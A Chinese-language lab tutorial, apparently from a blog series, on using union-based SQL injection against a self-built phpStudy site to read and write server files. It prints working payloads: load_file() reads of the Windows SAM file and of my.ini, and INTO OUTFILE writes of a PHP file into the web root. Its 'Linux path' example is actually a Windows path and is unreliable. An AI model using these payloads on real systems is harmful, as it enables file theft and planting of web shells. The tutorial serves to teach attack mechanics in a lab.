【SQL注入16】SQL漏洞利用之读写文件

目录

  • 1 基础知识与读写条件
    • 1.1 用户权限
    • 1.2 绝对路径
      • 1.2.1 路径类型
      • 1.2.2 读取文件
      • 1.2.3 写入文件
    • 1.3 secure-file-priv参数
      • 1.3.1 作用
      • 1.3.2 查看方式
        • 1.3.2.1 远程查看方式
        • 1.3.2.2 本地查看方式
      • 1.3.3 更改方式
  • 2 实验简介
    • 2.1 实验目的
    • 2.2 实验环境
  • 3 实验步骤
    • 3.1 判断注入点与注入类型
    • 3.2 获取数据库路径
    • 3.3 读取数据库文件配置
    • 3.4 写入PHP探针文件
  • 4 总结

1 基础知识与读写条件

1.1 用户权限

  1. 想要完成导入导出操作,需要当前用户具有相应文件权限。
  2. 在成功获取SQL注入点后,使用命令select file_priv from mysql.user where user='root' and host='hostlhost'查询当前用户权限。

1.2 绝对路径

1.2.1 路径类型

需要知道文件的绝对路径。

1.2.2 读取文件

  1. 使用load_file()函数读取文件,需要使用绝对路径。
  2. 不同系统的绝对路径示意:
    1. windows路径:C:\\Windows\\System32\\config\\SAM
    2. Linux路径:C:/Windows/System32/config/SAM
  3. 注入命令例如:?id=1 union select 1,load_file('C:\\Windows\\System32\\config\\SAM'),3

1.2.3 写入文件

  1. 使用select……into_outfile'路径'导出数据到pc的指定目录下。
  2. 注入命令例如:?id=1 union select 1,'',3 into_outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\test.php'如果网页没有报错,则说明写入成功,可以访问实验。

1.3 secure-file-priv参数

利用SQL注入漏洞进行文件读写,需要后台数据库开启一定的设置。

1.3.1 作用

  1. secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
  2. secure_file_priv设置值及含义
含义
null 表示限制mysqld 不允许导入或导出
/tmp/ 表示限制mysqld 的导入或导出只能发生在/tmp/目录下
没有具体值 表示不对mysqld 的导入或导出做限制

1.3.2 查看方式

1.3.2.1 远程查看方式

该参数可以在数据库控制面板的变量中查看更改。在浏览器中访问数据库后台管理页面,点击变量,输入sec并回车,就可以搜索出secure-file-priv参数,我们看到这里参数的值是null,也就是说不允许导入导出。
【SQL注入16】SQL漏洞利用之读写文件_第1张图片

1.3.2.2 本地查看方式

  1. 在安装有数据库的系统上,运行cmd,先cd到安装mysql的文件夹中cd C:\phpStudy\PHPTutorial\MySQL\bin,再使用命令mysql -u root -p回车后再输入密码root,这里用的是phpstudy默认的账号密码登录。
    【SQL注入16】SQL漏洞利用之读写文件_第2张图片
  2. 输入命令:show global variables like '%secure%',可以看到secure-file-priv参数的值是null,也就是说不允许导入导出。
    【SQL注入16】SQL漏洞利用之读写文件_第3张图片

1.3.3 更改方式

  1. 该参数无法通过远程方式进行更改,只能本地修改文件配置。
  2. 找到mysql的安装文件夹,找到里面的my.ini配置文件,以记事本或VS code等方式打开编辑。
    【SQL注入16】SQL漏洞利用之读写文件_第4张图片
  3. 在[mysqld]内加入secure_file_priv =,保存文件退出,并重启phpstudy。
    【SQL注入16】SQL漏洞利用之读写文件_第5张图片
  4. 再次查看,可以看到secure-file-priv参数为空,表示允许导入导出操作。
    【SQL注入16】SQL漏洞利用之读写文件_第6张图片

2 实验简介

2.1 实验目的

  1. 完成SQL注入;
  2. 利用SQL注入漏洞完成文件复制。

2.2 实验环境

  1. 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
  2. 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
    在这里插入图片描述

3 实验步骤

3.1 判断注入点与注入类型

在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。

  1. 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
    在这里插入图片描述

  2. 将参数修改为?id=2,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
    在这里插入图片描述

  3. 修改参数为?id=1 and 1=1,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
    (1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
    (2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
    (3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
    在这里插入图片描述

  4. 修改参数为 ?id=1 union select 1,2,3,4 ,说明原参数回显数据有4列,也可以根据传统方法先用order进行尝试。
    【SQL注入16】SQL漏洞利用之读写文件_第7张图片

  5. 修改参数为?id=-1 union select 1,2,3,4,回显结果如下,说明有第2、3、4显示位,可以利用为union联合查询注入。
    【SQL注入16】SQL漏洞利用之读写文件_第8张图片

  6. 结论:

    1. 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。
    2. 根据第3步说明参数为数值型。
    3. 利用union联合查询有4列数据,其中第2、3、4位能回显。

3.2 获取数据库路径

参改参数为?id=-1 union select 1,2,3,@@datadir,通过该命令获取后台数据库的绝对路径,如下:
【SQL注入16】SQL漏洞利用之读写文件_第9张图片

3.3 读取数据库文件配置

修改参数为?id=-1 union select 1,2,3,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini')获取数据库配置文件,并回显到网页上。问题关键转变为如何获取想要文件的路径。
【SQL注入16】SQL漏洞利用之读写文件_第10张图片

3.4 写入PHP探针文件

  1. 假设我们通过某些方式知道了网站的根目录路径为C:\phpStudy\PHPTutorial\WWW。以后得学学怎么获取到根目录路径。
  2. 修改参数注入参数为 ?id=-1 union select 1,2,3,'' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test.php",出现页面如下,虽然出现警告,但是我们文件已经成功写入了。
    【SQL注入16】SQL漏洞利用之读写文件_第11张图片
  3. 在浏览器访问目标IP下的文件test.php,成功执行该文件并返回PHP探针信息。
    【SQL注入16】SQL漏洞利用之读写文件_第12张图片

4 总结

  1. 对文件进行读写既收到文件系统对用户权限的制约、也收到数据库设置的制约。
  2. 掌握利用SQL漏洞进行文件读写的方法。
  3. 后续需要进一步了解如何获取网站根目录路径的方法。

你可能感兴趣的:(#,筑基07:WEB漏洞原理,sql,数据库,网络安全)